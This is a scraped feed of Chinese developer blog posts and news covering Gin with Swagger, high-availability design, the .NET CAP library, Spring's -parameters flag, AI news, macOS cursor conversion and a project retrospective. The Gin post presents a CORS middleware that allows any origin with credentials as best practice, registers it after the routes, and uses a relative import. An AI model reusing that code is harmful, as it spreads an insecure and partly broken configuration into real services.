    CreatedAt time.Time `json:"created_at" example:"2024-01-21T00:00:00Z"`
}

2. API 注释示例

在 handler 中添加标准的 Swagger 注释:

// @Summary 用户登录
// @Description 用户登录接口
// @Tags 用户管理
// @Accept json
// @Produce json
// @Param data body LoginRequest true "登录信息"
// @Success 200 {object} Response{data=LoginResponse} "登录成功"
// @Failure 400 {object} Response{} "请求错误"
// @Router /api/v1/user/login [post]
func Login(c *gin.Context) {
    // 处理逻辑
}

type LoginRequest struct {
    Username string `json:"username" binding:"required" example:"test123"` 
    Password string `json:"password" binding:"required" example:"123456"`
}

type LoginResponse struct {
    Token string `json:"token" example:"eyJhbGciOiJIUzI1NiIs..."` 
    ExpiresIn int64 `json:"expires_in" example:"3600"`
}

3. 主程序配置

main.go 中配置路由和 Swagger:

package main

import (
    "github.com/gin-gonic/gin"
    "github.com/swaggo/files"
    "github.com/swaggo/gin-swagger"
    _ "./docs"  // swagger docs
)

// @title User API
// @version 1.0
// @description 这是一个用户管理API示例
// @host localhost:8080
// @BasePath /api/v1
func main() {
    r := gin.Default()
    
    // API 路由组
    v1 := r.Group("/api/v1")
    {
        user := v1.Group("/user")
        {
            user.POST("/login", Login)
            // 其他路由...
        }
    }
    
    // Swagger API 文档路由
    r.GET("/swagger/*any", ginSwagger.WrapHandler(swaggerFiles.Handler))
    
    // 允许跨域访问
    r.Use(Cors())
    
    r.Run(":8080")
}

三、文档生成与访问

1. 生成 Swagger 文档

在项目根目录执行:

swag init

2. 访问文档

启动项目后访问:

http://localhost:8080/swagger/index.html

3. 导出接口数据

访问以下地址获取 Swagger JSON:

http://localhost:8080/swagger/doc.json

image.png

四、Mock 数据配置

1. 在注释中定义 Mock 规则

// @Success 200 {object} Response{data=PageResponse{list=[]User}} "x-mock-type=mock"

2. 数据模型示例配置

type User struct {
    ID       uint   `json:"id" example:"1"`                                // @mock=@increment
    Username string `json:"username" example:"user_@natural(1,100)"`      // @mock=@string
    Email    string `json:"email" example:"@email"`                       // @mock=@email
    Age      int    `json:"age" example:"25" minimum:"18" maximum:"100"`  // @mock=@natural(18,100)
    Status   int    `json:"status" example:"1" enums:"0,1,2"`            // @mock=@pick([0,1,2])
}

五、最佳实践

1. 统一错误处理

func ErrorHandler() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Next()
        
        if len(c.Errors) > 0 {
            err := c.Errors.Last()
            c.JSON(http.StatusOK, Response{
                Code:    400,
                Message: err.Error(),
                Data:    nil,
            })
            return
        }
    }
}

2. 跨域配置

func Cors() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Access-Control-Allow-Origin", "*")
        c.Header("Access-Control-Allow-Methods", "GET,POST,PUT,PATCH,DELETE,OPTIONS")
        c.Header("Access-Control-Allow-Headers", "Authorization,Content-Type")
        c.Header("Access-Control-Expose-Headers", "Content-Length,Access-Control-Allow-Origin,Access-Control-Allow-Headers")
        c.Header("Access-Control-Max-Age", "172800")
        c.Header("Access-Control-Allow-Credentials", "true")

        if c.Request.Method == "OPTIONS" {
            c.AbortWithStatus(http.StatusNoContent)
            return
        }
        c.Next()
    }
}

3. 响应封装

func Success(c *gin.Context, data interface{}) {
    c.JSON(http.StatusOK, Response{
        Code:    200,
        Message: "success",
        Data:    data,
    })
}

func Error(c *gin.Context, code int, message string) {
    c.JSON(http.StatusOK, Response{
        Code:    code,
        Message: message,
        Data:    nil,
    })
}

六、进阶配置

1. 添加认证信息

// @securityDefinitions.apikey Bearer
// @in header
// @name Authorization

2. 添加版本信息

// @version 1.0
// @title Your API Title
// @description Your API Description
// @contact.name API Support
// @contact.url http://www.example.com/support
// @contact.email support@example.com

七、总结

本指南通过一系列实用示例,为你展示了如何使用 Gin 框架结合 Swagger 构建专业的 Web API 项目。我们覆盖了从环境搭建到进阶实践的完整流程:

  • 项目结构的最佳实践
  • Swagger 文档的集成与配置
  • 统一的请求响应处理
  • Mock 数据的规范配置
  • 错误处理与跨域设置
  • 认证与版本管理

如果你在使用过程中:

  • 发现了更好的实践方式
  • 遇到了文档中未覆盖的问题
  • 有新的功能需求或建议

欢迎通过评论区交流,你的反馈将帮助我们不断完善这份指南,让更多开发者受益。一起在实践中成长,让我们的 API 开发之路更加顺畅。 写作不易,如果对你有帮助帮我点赞收藏收留言吧。

相关文章:

Gin 入门指南 https://juejin.cn/user/2696441245481975/posts

gin HTTP响应格式统一处理 https://juejin.cn/user/2696441245481975/posts

Go 操作 Redis https://juejin.cn/user/2696441245481975/posts

GO 日志的规范使用 https://juejin.cn/user/2696441245481975/posts

by 吴佳浩 at January 21, 2025 12:11 PM

高可用建设开篇 - 01 - 服务高可用建设指南

前言

本文探讨了高可用性的核心概念及其实现方法。强调通过冗余设计、故障发现与处理机制、技术方案和资源隔离等策略,来确保服务的持续可用。

1. 高可用的本质是什么

冗余!冗余!冗余!

2. 什么会导致服务不可用

  • 硬件故障
    网络、存储
  • 软件故障
    代码 Bug、发版、超大流量
  • 不可抗力
    火灾、水灾等

3. 如何实现高可用

3.1 故障发生

故障发生分为 3 个部分:故障发现,故障处理,故障复盘

  • 故障发现
    要求服务具备良好的可观测性,可以接入 Prometheus 或其他监控框架,如 Cat。同时需接入第三方告警系统,例如夜莺和睿象云。 需要在 1 分钟内实现故障发现。发现故障后,警告信息可以通过邮箱、飞书和微信等渠道发送;对于严重告警,则应直接通过电话进行通知。
  • 故障处理
    开发人员应在5分钟内响应告警信息并进行处理。恢复服务应作为第一优先级,而问题根因的排查则为第二优先级。此外,服务需具备可回滚的能力,以确保快速恢复。 需要注意的是,服务的负责人并不总能及时响应告警。当严重告警信息无人处理时,应进行告警升级,将告警信息发送给团队领导(TL)。
  • 故障复盘
    4层5why + 1落地。从流程机制层面、质量校验层面、产品业务层面、系统设计层面思考5个为什么。为什么会发生,为什么没在质量验证时被发现,发生后如何防御,如何避免再次发生,有没有改进点。
    在总结以上思考后,应落地故障快速处理文档,为后续人员提供参考,确保在故障再次发生时,能够迅速有效地进行处理。

3.2 技术方案(故障避免)

从 容量评估、流量防护、容错管理、容灾管理 4 个方面来避免故障发生。

3.2.1 容量评估

服务应进行全链路压测,以全面评估服务的整体容量。这是实施流量防护的前置要求

3.2.2 流量防护

  1. 在网关层接入 WAF,以防范攻击
  2. 根据容量评估结果实施限流措施

3.2.3 容错措施

容错措施有多种,常见的包括:

  1. 熔断机制
  2. 兜底处理
  3. 超时配置
  4. 非核心逻辑出错时,不应影响业务的正常运行。例如,应捕获非核心流程的异常,以确保业务的连续性
  5. 减少对其他服务的依赖
  6. 代码、配置和服务应具备快速回滚能力
  7. 风险较高的功能上线时,需支持灰度发布或快速启停
  8. 服务上线时采用灰度发布策略
  9. 服务至少有 2 个副本
  10. 在不同可用区内部署对等数量的服务,避免某一个可用区挂掉后,服务不可用
  11. 优先在同可用区内进行 RPC 调用

3.2.4 容灾管理

网上有许多方案可供选择,例如同城多活、两地三中心和异地多活等。个人认为,从成本和实施难度的综合考虑,同城多活是比较适合大多数中小公司的方案。

3.3 资源隔离(降低故障影响)

资源隔离可分为服务内资源隔离与服务外资源隔离。 服务外资源常见如:MySQL、Redis、域名等。 服务内资源常见如:线程池、队列

这里简单一笔带过,后续文章会深入讲解。

4. 结语

在技术方案中,许多知识点(如熔断、限流等)尚未深入探讨。这部分内容将在后续文章中详细分析。

by 不能放弃治疗 at January 21, 2025 12:09 PM

.NET开源的处理分布式事务的解决方案

前言

在分布式系统中,由于各个系统服务之间的独立性和网络通信的不确定性,要确保跨系统的事务操作的最终一致性是一项重大的挑战。今天给大家推荐一个.NET开源的处理分布式事务的解决方案基于 .NET Standard 的 C# 库:CAP。

CAP项目介绍

CAP 是一个基于 .NET Standard 的 C# 库,它是一种处理分布式事务的解决方案,同样具有 EventBus 的功能,它具有轻量级、易使用、高性能等特点。CAP 是一个EventBus,同时也是一个在微服务或者SOA系统中解决分布式事务问题的一个框架。它有助于创建可扩展,可靠并且易于更改的微服务系统。

什么是 EventBus?

事件总线是一种机制,它允许不同的组件彼此通信而不彼此了解。 组件可以将事件发送到Eventbus,而无需知道是谁来接听或有多少其他人来接听。 组件也可以侦听Eventbus上的事件,而无需知道谁发送了事件。 这样,组件可以相互通信而无需相互依赖。 同样,很容易替换一个组件。 只要新组件了解正在发送和接收的事件,其他组件就永远不会知道。

CAP架构预览

CAP支持的存储

SQL Server、MySQL、PostgreSql、MongoDB、In-Memory Storage。

CAP 支持以下几种运输方式

RabbitMQ、Kafka、Azure Service Bus、Amazon SQS、NATS、In-Memory Queue、Redis Streams、Apache Pulsar。

怎么选择运输器

项目源码

快速开始

安装DotNetCore.CAP Nuget包

CAP 支持主流的消息队列作为传输器:

  • 我本地安装的是DotNetCore.CAP.RabbitMQ。
//你可以按需选择下面的包进行安装:
PM> Install-Package DotNetCore.CAP.Kafka
PM> Install-Package DotNetCore.CAP.RabbitMQ
PM> Install-Package DotNetCore.CAP.AzureServiceBus
PM> Install-Package DotNetCore.CAP.AmazonSQS
PM> Install-Package DotNetCore.CAP.NATS
PM> Install-Package DotNetCore.CAP.RedisStreams
PM> Install-Package DotNetCore.CAP.Pulsar

CAP 提供了主流数据库作为存储:

  • 我本地安装的是DotNetCore.CAP.MongoDB。
// 按需选择安装你正在使用的数据库:
PM> Install-Package DotNetCore.CAP.SqlServer
PM> Install-Package DotNetCore.CAP.MySql
PM> Install-Package DotNetCore.CAP.PostgreSql
PM> Install-Package DotNetCore.CAP.MongoDB

配置CAP到 Program.cs 文件中,如下:

            builder.Services.AddCap(x =>
            {
                //如果你使用的 EF 进行数据操作,你需要添加如下配置:
                //配置数据库上下文
                x.UseEntityFramework<AppDbContext>();

                //如果你使用的 MongoDB,你可以添加如下配置:
                x.UseMongoDB("ConnectionStrings");  //注意,仅支持MongoDB 4.0+集群

                //CAP RabbitMQ 配置
                x.UseRabbitMQ(rab => {
                    rab.HostName = "192.0.1.1";
                    rab.Password = "123456";
                    rab.Port = 5672;
                    rab.UserName = "123456";
                });
            });

发布

在 Controller 中注入 ICapPublisher 然后使用 ICapPublisher 进行消息发送。


public class PublishController : Controller
{
    private readonly ICapPublisher _capBus;

    public PublishController(ICapPublisher capPublisher)
    {
        _capBus = capPublisher;
    }
    
    //不使用事务
    [Route("~/without/transaction")]
    public IActionResult WithoutTransaction()
    {
        _capBus.Publish("xxx.services.show.time", DateTime.Now);

        // Publish delay message
        _capBus.PublishDelayAsync(TimeSpan.FromSeconds(delaySeconds), "xxx.services.show.time", DateTime.Now);
 
        return Ok();
    }

    //Ado.Net 中使用事务,自动提交
    [Route("~/adonet/transaction")]
    public IActionResult AdonetWithTransaction()
    {
        using (var connection = new MySqlConnection(ConnectionString))
        {
            using (var transaction = connection.BeginTransaction(_capBus, autoCommit: true))
            {
                //业务代码

                _capBus.Publish("xxx.services.show.time", DateTime.Now);
            }
        }
        return Ok();
    }

    //EntityFramework 中使用事务,自动提交
    [Route("~/ef/transaction")]
    public IActionResult EntityFrameworkWithTransaction([FromServices]AppDbContext dbContext)
    {
        using (var trans = dbContext.Database.BeginTransaction(_capBus, autoCommit: true))
        {
            //业务代码

            _capBus.Publish("xxx.services.show.time", DateTime.Now);
        }
        return Ok();
    }
}

订阅

Action Method

在 Action 上添加 CapSubscribeAttribute 来订阅相关消息。

public class PublishController : Controller
{
    [CapSubscribe("xxx.services.show.time")]
    public void CheckReceivedMessage(DateTime datetime)
    {
        Console.WriteLine(datetime);
    }
}

Service Method

如果你的订阅方法没有位于 Controller 中,则你订阅的类需要继承 ICapSubscribe:


namespace xxx.Service
{
    public interface ISubscriberService
    {
        void CheckReceivedMessage(DateTime datetime);
    }

    public class SubscriberServiceISubscriberServiceICapSubscribe
    {
        [CapSubscribe("xxx.services.show.time")]
        public void CheckReceivedMessage(DateTime datetime)
        {
        }
    }
}

by 追逐时光者 at January 21, 2025 11:59 AM

为什么spring boot 3参数名称解析要废弃LocalVariableTableParameterNameDiscoverer

大家好,这里是小奏,觉得文章不错可以关注公众号小奏技术

背景

spring boot 2.x我们都知道spring boot中想要获取参数名称的解析方式主要有如下几种

参数名解析方式特点
LocalVariableTableParameterNameDiscoverer解析字节码中的局部变量表不依赖 -parameters,但受编译器优化影响,JDK 9+ 可能失效
StandardReflectionParameterNameDiscoverer基于 -parameters 编译选项性能好,推荐使用,但需要启用 -parameters 编译选项
DefaultParameterNameDiscoverer优先使用StandardReflectionParameterNameDiscoverer,如果失败则使用LocalVariableTableParameterNameDiscoverer默认解析器,优先使用 StandardReflection,失败时回退到字节码解析
KotlinReflectionParameterNameDiscoverer基于 Kotlin 反射 APIKotlin 项目推荐使用,但不支持 Java 项目
PrioritizedParameterNameDiscoverer支持多个解析器的优先级组合灵活性强,适用于自定义解析逻辑。

用的比较多的还是DefaultParameterNameDiscovererLocalVariableTableParameterNameDiscoverer

因为很多人和很多项目都不知道-parameters这个编译选项,也不知道如何开启,所以很多项目都是使用LocalVariableTableParameterNameDiscoverer来解析参数名称

废弃LocalVariableTableParameterNameDiscoverer的前奏

如果我们升级到spring boot 3.0相关的版本,我们如果继续使用LocalVariableTableParameterNameDiscoverer来解析参数名称,会发现如下的警告

22-11-30 17:39:11.513 WARN [main LocalVariableTableParameterNameDiscoverer.inspectClass:123]Using deprecated '-debug' fallback for parameter name resolution. Compile the affected code with '-parameters' instead or avoid its introspection: org.jasypt.spring31.properties.EncryptablePropertyPlaceholderConfigurer

这个警告就是未来会废弃掉基于字节码进行参数名解析,即LocalVariableTableParameterNameDiscoverer类,目前是一个过渡版本,还没有删除LocalVariableTableParameterNameDiscoverer

如果使用了LocalVariableTableParameterNameDiscoverer进行参数名解析需要修改为基于-parameters编译选项解析,因为之后的版本会删除LocalVariableTableParameterNameDiscoverer

何时废弃LocalVariableTableParameterNameDiscoverer

经过spring-framework-issues-29559spring-framework-pr-29531的讨论

最终在spring-framework-6.1.0完全删除掉LocalVariableTableParameterNameDiscoverer

为什么废弃LocalVariableTableParameterNameDiscoverer

其实早在issues-29559就进行过讨论为什么要废弃LocalVariableTableParameterNameDiscoverer

主要原因还是因为LocalVariableTableParameterNameDiscoverer是因为其依赖字节码实现细节,存在兼容性问题,编译成Native Image运行在GraalVM上不起作用

如何替换LocalVariableTableParameterNameDiscoverer

由于LocalVariableTableParameterNameDiscoverer被删除,所以我们需要使用StandardReflectionParameterNameDiscoverer来替换LocalVariableTableParameterNameDiscoverer进行参数名解析

StandardReflectionParameterNameDiscoverer是基于-parameters编译选项的,所以我们需要在maven打包工具中添加-parameters编译选项

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.11.0</version>
                <configuration>
                    <compilerArgs>
                        <arg>-parameters</arg>
                    </compilerArgs>
                </configuration>
            </plugin>
        </plugins>
    </build>

核心配置是

                <configuration>
                    <compilerArgs>
                        <arg>-parameters</arg>
                    </compilerArgs>

如何验证是否生效

验证方式很简单,可以写一个简单的demo进行验证

import java.lang.reflect.Method;
import java.lang.reflect.Parameter;

public class ParameterExample {

    public void exampleMethod(String param1, int param2) {
    }

    public static void main(String[] args) {
        Method method = ParameterExample.class.getDeclaredMethods()[1];
        for (Parameter parameter : method.getParameters()) {
            System.out.println("小奏技术 Parameter name: " + parameter.getName());
        }
    }
}
  • 添加-parameters前输出

小奏技术 Parameter name: arg0 小奏技术 Parameter name: arg1

可以看到获取不到参数名

  • 添加-parameters后输出

小奏技术 Parameter name: param1 小奏技术 Parameter name: param2

可以看到获取到了真实的参数名

总结

spinrg boot 3.x高一点点的版本就废弃掉了LocalVariableTableParameterNameDiscoverer(基于字节码技术)方式的参数名解析

废弃原因主要是因为LocalVariableTableParameterNameDiscoverer是因为其依赖字节码实现细节,存在兼容性问题,编译成Native Image运行在GraalVM上不起作用

我们在进行替换的时候需要注意,需要在maven打包工具中添加-parameters编译选项,不然使用StandardReflectionParameterNameDiscoverer也是获取不到参数名的

by 小奏技术 at January 21, 2025 11:50 AM

oschina news industry

开源日报 | DeepSeek-R1性能对标OpenAI o1;Kimi发布k1.5多模态思考模型;中国自主量子计算编程框架QPanda3发布;哪些AI产品在赚钱?

欢迎阅读 OSCHINA 编辑部出品的开源日报,每天更新一期。

# 2025.1.21

今日要闻

DeepSeek-R1 发布,性能对标 OpenAI o1 正式版

据深度求索 DeepSeek 官方消息,DeepSeek-R1 大模型正式发布,并同步开源模型权重。

DeepSeek-R1 在后训练阶段大规模使用了强化学习技术,在仅有极少标注数据的情况下,极大提升了模型推理能力。在数学、代码、自然语言推理等任务上,性能比肩 OpenAI o1 正式版。

Kimi 全新 SOTA 模型 —— k1.5 多模态思考模型来了

月之暗面正式发布 Kimi 全新 SOTA 模型:k1.5 多模态思考模型,同时首次公开模型训练技术报告。

据官方介绍,从基准测试成绩看,k1.5 多模态思考模型实现了 SOTA(state-of-the-art)级别的多模态推理和通用推理能力。

在 short-CoT 模式下,Kimi k1.5 的数学、代码、视觉多模态和通用能力,大幅超越了全球范围内短思考 SOTA 模型 GPT-4o 和 Claude 3.5 Sonnet 的水平,领先达到 550%。

腾讯混元 3D 生成大模型 2.0 开源发布

腾讯混元3D生成大模型2.0现已开源,腾讯同步上线混元3D AI创作引擎,这也是业界首个一站式3D内容AI创作平台。

据悉,该版本针对3D生成过程中的几何和纹理两个大模型进行了升级。其中,几何大模型的任务就是捕捉3D物体的形状和结构。腾讯云采用Hunyuan3D-DiT和Hunyuan ShapeVAE技术,让生成的「白模」(没上色的模型)效果堪比设计师手工建模;纹理大模型Hunyuan3D-Paint如同专业的「化妆师」,可以根据文字或图片描述,为「白模」穿上各种高清纹理,科幻、卡通、写实,风格切换自如。

Meta 正计划推出 AI 编程助手,或将在年内问世

Meta CEO 马克·扎克伯格近日透露,Meta 公司正在研发一种 AI 编程助手,很可能在今年问世。

扎克伯格表示,Meta 正在朝着一个目标努力,届时“我们应用中的大量代码,甚至包括我们生成的 AI,将主要由 AI 工程师而非人类工程师编写”。这意味着,Meta 未来的技术开发将越来越依赖于 AI 的能力。

与此同时,Meta 也宣布将裁员约 5% 的员工,涉及 72000 人的庞大团队。不过,扎克伯格强调,AI 目前尚无法完全取代这些职位。

谷歌公布 Titans 系列 AI 模型架构:融合长短期记忆与注意力机制、突破 200 万上下文 Token

谷歌研究院发文,公布了“Titans”系列模型架构,相应模型架构最大的特点是采用仿生设计,结合了短期记忆、长期记忆和注意力机制,支持超过 200 万个 Token 的上下文长度,目前相关论文已发布在 arXiv 上,谷歌计划未来将 Titans 相关技术开源。

Titans 系列模型架构通过引入深度神经长期记忆模块(Neural Long-Term Memory Module)有效解决了相应问题,其设计灵感号称来自人类的记忆系统,结合了短期记忆的快速反应与长期记忆的持久特性,并通过注意力机制来着重执行当前的上下文。

第三代中国自主量子计算编程框架 QPanda3 发布,编译速度较美国 Qiskit 1.3.0 提升 320 倍

本源量子今日宣布升级推出第三代中国自主量子计算编程框架 QPanda3,根据相关测试结果,QPanda3 在量子线路编译方面的性能显著优于美国 Qiskit 1.3.0,在处理大规模量子线路时表现尤为突出,特定情况下,其编译速度提升高达 320 倍。

QPanda3(Quantum Programming Architecture for NISQ Device Application v3)是一个开源的量子计算编程框架,基于 C++ 开发,同时提供了 Python 接口,开发者在享受 C++ 高性能的同时,可以使用 Python 编写量子程序。

该框架是本源量子全栈式量子计算编程生态工具链的重要组成部分。工具链涵盖了量子编程框架、量子基础算法、量子机器学习、量子编程语言和量子计算集成开发环境等多个核心组件,能够为生物制药、量子人工智能、量子金融等前沿领域提供技术支持。


今日观察

社交观察

DeepSeek 完成了对 OpenAI 的从致敬到超越

昨晚看到一些对DeepSeek R1的讨论,早晨趁注意力好就阅读了一下,又一次被震惊了。如果说DeepSeek V3的思路还都在想象范围内,更多是惊艳的工程交付能力,DeepSeek R1就是纯粹的无人区探索和发现了(可能OpenAI已经这么做了,但没公开,也可能DeepSeek R1的做法比OpenAI还要好),从V3到R1 ,DeepSeek完成了对OpenAI的从致敬到超越,这让我有点相信梁文锋说的ASI了。

1,Zero 的做法太简洁了,简单直接有效;2,R1 一步一步cook ,确实像炼丹,像酿酒,像煲汤,勾勾兑兑,成了

可以预期开源大模型全面超越闭源模型。模型开源的一个好处是,全世界的人才都聚拢过来一起在这个路线上探索,譬如DeepSeek也不给我们钱,但我们整个团队都投入到优化DeepSeek部署性能上去了,在我们之外的大玩家就更多了。

- 微博 老师木

字节悄悄卖算法给 Meta?

TikTok的最大价值在哪里?当然1.7亿美国用户价值很高,但真正的核心竞争力是AI算法。没有AI算法就没有产品竞争力和用户粘性。这一点就连马斯克也是公开肯定的。

不妨想一下,但凡字节点头卖算法,TikTok封杀这事早就过去了。就是因为TikTok坚持不出售,才从2020年抗到了现在,甚至不惜服务直接下线,又怎么可能会在川普上台带来转机曙光的时候,轻易把最核心的资产让给幕后大黑手Meta?

- 微博 郑峻

到底哪些 AI 产品在赚钱?

 

- 微博 宝玉xp

DeepSeek 创始人梁文锋仅靠百名中国程序员,已赶超 OpenAI

难能可贵的是,梁文锋组建的还是一支纯粹的本土研发团队,只有中国程序员,没有海归人才。不少人都是应届毕业生和毕业一两年的年轻人。

甚至有报道称深度求索(DeepSeek)团队不招聘高级技术专业人员。员工的工作年限约为3到5年,而那些拥有8年以上研发经验的人还可能会被直接拒绝。因为他们害怕这样的人包袱太重、缺乏创新的动力。
 
- 微信  CEO来信

媒体观察

两部门连发三份文件 规范公共数据资源授权运营相关活动

公共数据资源开发利用是一项综合性、系统性工作,三份配套政策文件的贯彻落实需要各方协同发力。下一步,将从以下几个方面开展工作。一是强化工作统筹;二是加大宣贯培训;三是培育示范场景;四是抓好跟踪落实。

- 证券日报

周鸿祎迷失在“千万粉丝”里

热闹与质疑并存,也让我们不得不重新审视:周鸿祎的个人“网红之旅”,究竟能走多远,又能为360带来多大的转机?

- 市象

小米又是第一!智能门锁大战白热化,AI和营销成关键?

C端市场的快速崛起,给智能门锁行业带来了新的增长力,如何顺应C端市场的情况打造产品、投放营销,则是接下来智能门锁企业需要思考的首要问题。

- 雷科技

AI盈利难、机器人泡沫多,马库斯25年AI预测,隔空喊话马斯克

新年伊始,AI专家Gary Marcus发布长文,公布了他对2025年AI发展最新的25项预测,包括AGI、生成式AI、自动驾驶、人形机器人、视频生成、智能体等多个方向。虽然在2024年对OpenAI估值预测出错,但在最新的预测中仍不看好OpenAI。

- 新智元

特朗普将如何改变人工智能法规

华尔街预计特朗普宣誓就职后放松或废除拜登总统的人工智能法规。共和党全国委员会(Republican National Committee)的 2024 年政纲概括了他公开表达的观点,称拜登的人工智能政策是一项 “阻碍人工智能创新 ”的政策。

- 美股投资网

600亿,背后!

近日,大基金三期第三次出手,联手上海国资成立国家人工智能产业投资基金。头部机构投资人预计,其未来投资方向将会在半导体和人工智能(硬件+软件)这两大主线上。

- 创投日报


今日推荐

开源项目

BiglySoftware/BiglyBT

https://github.com/BiglySoftware/BiglyBT

BiglyBT 是一个基于 Vuze(原名 Azureus)的 Bittorrent 客户端,具有功能丰富、开源和无广告等特点。

每日一博

向量数据库真的能满足所有 AI Agent 的记忆需求吗?

文章首先介绍了 Agentic AI 系统的基本概念,以营销案例说明了其任务分解和执行能力。随后深入探讨了向量数据库在管理 AI 记忆方面的应用及其局限性,特别指出了数据质量问题。


开源之声

用户观点

《2024 中国开源开发者报告》正式发布

  • 观点 1:挺惊讶的,gitee 上一年新增150万用户数,500万新增仓库数量,40万开源组织。中国开源越来越顶了
  • 观点 2:大家赶紧学TypeScript+RAG,明年你就是老板的“AI驯兽师”!
  • 观点 3:现在AI工具对于编程的辅助作用确实越来越强了,用多了感觉已经离不开了
  • 观点 4:中国开源必须支持,祝开源中国越来越强大
  • 观点 5:看来以后真要失业了,工作都被AI代替了,烦恼
  • 观点 6:看个报告,还能有机会拿奖品,确实爽歪歪
  • 观点 7:玩玩AI生图,浅尝辄止,不过IDE的AI插件还挺好用
  • 观点 8:aieditor👍👍👍
  • 观点 9:chatgpt的发布不过才2年,但似乎已经过了很多年。这两年我们不停地接触到新技术名词,企图在这场洪流中抓住些什么。来到2025年,我们期待的杀手级ai应用会出现吗?
  • 观点 10:豆包,文心一言,通义,kimi,最终的王者应该是从这里产生
  • 观点 11:现在写代码用AI,写ppt用AI,写文案用AI,都被机器代替了,以后就业机会越来越少,焦虑
  • 观点 12:deepseek R1, 说与Openai o1比肩,试了一下,高中奥数题依就做不起!
  • 观点 13:AI在多个领域的应用加速落地了,25年预计是更加多的ai应用落地
  • 观点 14:模型的竞争已经从单纯的规模比拼转向应用场景细化,2025年拭目以待吧😃
  • 观点 15:AI在未来一定是大势所趋,25年拭目以待,加油
  • 观点 16:国内AI要看豆包,用户数据不缺,算力不缺,未来可期

---END---

 

by 来源: OSCHINA at January 21, 2025 11:33 AM

juejin career

MacBook鼠标自定义配置导航:将Windows的光标文件转换为Mac使用的.cape文件

介绍


起因是我最近看了知名度很高的外网主播XQC玩一个虚拟恋爱恐怖游戏:MiSide

%E6%88%AA%E5%B1%8F2025-01-10_00.40.27.png

这游戏很棒,里面有一个角色:Kind Mita善良米塔,我很喜欢,于是我去X上搜了一下,结果就发现有人做了他的鼠标动画:

IMG_EF9608273752-1.jpeg

作者非常牛,我点进了这个网站打算下载他的光标动画,却发现Windows版本的是免费的,而MacOS版本要收费订阅。于是我很沮丧,开始研究起了如何将Windows的光标转换为Mac的光标。


在Windows和macOS系统中,光标的文件格式和机制有所不同:

Windows光标格式:ANI

  1. ANI文件

•是Windows动画光标(Animated Cursor)的文件格式。

•它基于CUR光标文件,扩展了动画功能,可以包含多个帧并定义帧速率。

•常见于鼠标光标需要动态效果的场景,比如加载图标。

macOS光标格式:CAPE

  1. CAPE文件

•CAPE并不是macOS官方使用的光标文件格式。

•macOS的鼠标光标通常是系统内置的,定制性较低,没有开放的格式供用户直接修改。

•自定义光标需要通过第三方应用(如Cursorcerer或Mousecape)来实现。

我个人mac之前用mousecape作为自定义光标工具,只需要导入.cape的格式文件就可以一键设置光标,.cape格式

%E6%88%AA%E5%B1%8F2025-01-10_00.55.56.png

为了将.ani格式转换为.cape格式,我做了这些事…


1. 寻找格式转换工具

  • 首先,在github上搜了一下,搜到了这位作者的小工具:

%E6%88%AA%E5%B1%8F2025-01-10_00.54.11.png

真是一下子就解决了,我兴奋的git clone了之后,python ani2cape.py,导出的cape文件拖进mousecape里,正当我以为大功告成的时候,悲剧的一幕出现了:

背景居然不是透明的!!!!!!是黑色的!

什么意思呢,就是这是我想要的结果:

%E6%88%AA%E5%B1%8F2025-01-10_01.00.40.png

32X32像素的图片序列(spritesheet),png格式,后面是透明的,然而上述代码运行了之后,原来适用于windows的.ani格式转换为cape竟然不是透明的…

为了达到透明的效果,我这里采用了一个笨办法,不过希望还是能给大家提供一点帮助:

2. ani先转换为gif


我使用的是在线格式转换工具 ezgif.com/ani-to-gi

它的ANI to GIF功能导出的gif是透明背景的,然后我再把每一个小gif动画用刚才的python脚本gif2SpriteSheet,转换为了帧序列

什么是帧序列


这里的SpriteSheet,制作过像素动画的或者玩过unity 2d的人应该都知道,是指一组按照一定顺序排列的图像帧(Frames),这些帧依次快速切换,形成连续的动画效果。帧序列广泛应用于计算机动画、游戏开发、视频制作等领域。

特性

组成单位每个帧是静态图像,可以是位图、矢量图或其他图像格式(PNG)
帧速率帧之间的切换速度通常以“帧每秒”(Frames Per Second,FPS)表示
连续性帧序列按照顺序排列,每一帧展示一部分动作变化,通过快速播放给人以动态效果
循环性有些帧序列是循环播放的,比如动态光标动画

显然,我们要做的光标自定义动画是循环、且连续的帧序列,调用上述函数就可以将GIF转换为这样:

image.png

纵向排列的一连串PNG,且背景是透明的!


3. 导入Mousecape,开始使用!

这样我们就可以把帧序列导入mousecape,这个软件能自动接受帧序列,然后创建**.cape格式的动画**

点击create cape,左下角的+号新建一个cape,然后把帧序列文件导入空格里

%E6%88%AA%E5%B1%8F2025-01-10_01.21.12.png

这里Type可以设置触发动画的时机,依据鼠标状态,例如Arrow是默认效果,IBeam是编辑文字的时候

Frames我使用的帧数是12,可以根据自己的帧序列有多少图片计算得出

Frame Duration .1 代表一次完整的动画时长,设置为100ms(0.1s)

Hot Spot一般不要改就好

Size设置图像的大小,我这里是32X32


设置完后点击保存,然后就可以愉快的使用新光标啦!

@Bao YuXiang 欢迎关注我的账号,以及我的个人博客(ethanbao27.github.io)

👍点赞支持一下吧!

by EthanBao27 at January 21, 2025 11:18 AM

一个失败的项目--日记用途,慢慢写吧

这是一个失败的项目的复盘,领导们当然是从一个成功走向另一个成功的说辞,不论是甲方乙方。

我还草稿没写完,callback就来了

1、项目开始于2024年的10月,但甲方一开始也只知道要求我们做好业务梳理,最大的要求是可以审计。但是审计需求是结果,是什么驱动的呢?并且新上任的二级为什么是管财务的呢?这下公开清楚了。

md中期才告诉我们这是政治任务,二级三级混子之前也不知道只是在逐级麻木的传达混日子,但凡二级三级及基层项目经理好好领会上级,传达齐平信息深入贯彻落实也不至于那么失败。 image.png

2、20250117追加:写着写着还没写完,结果CEO高念书的大雷先来了,乐了

部门/人员背景

  • 老部门经理,接触有限,没看出来他技术还是管理牛在哪,倒是留了个烂摊子,拍拍屁股去甲方了。后面上的新部门经理W是从老研发里上去的,管理手段自然是没有,其说话方式是用“这个怎么玩”来表达一个技术上的事情,模糊化边界,用人与人之间的私人关系来作为他管部门各个项目的载体,受益人是他,用此种沟通方式模糊化了每个人个人的利益与他的利益与部门整体利益,部门内已是离心离德(最新\除了准备养老的混日子的)。这种平均主义实质上是某种奴才制度,属于某种奶头乐,总体概括上我称之为温和派PUA,攻击性弱一些的人是不会察觉的。

当然我们关系还不错的说。

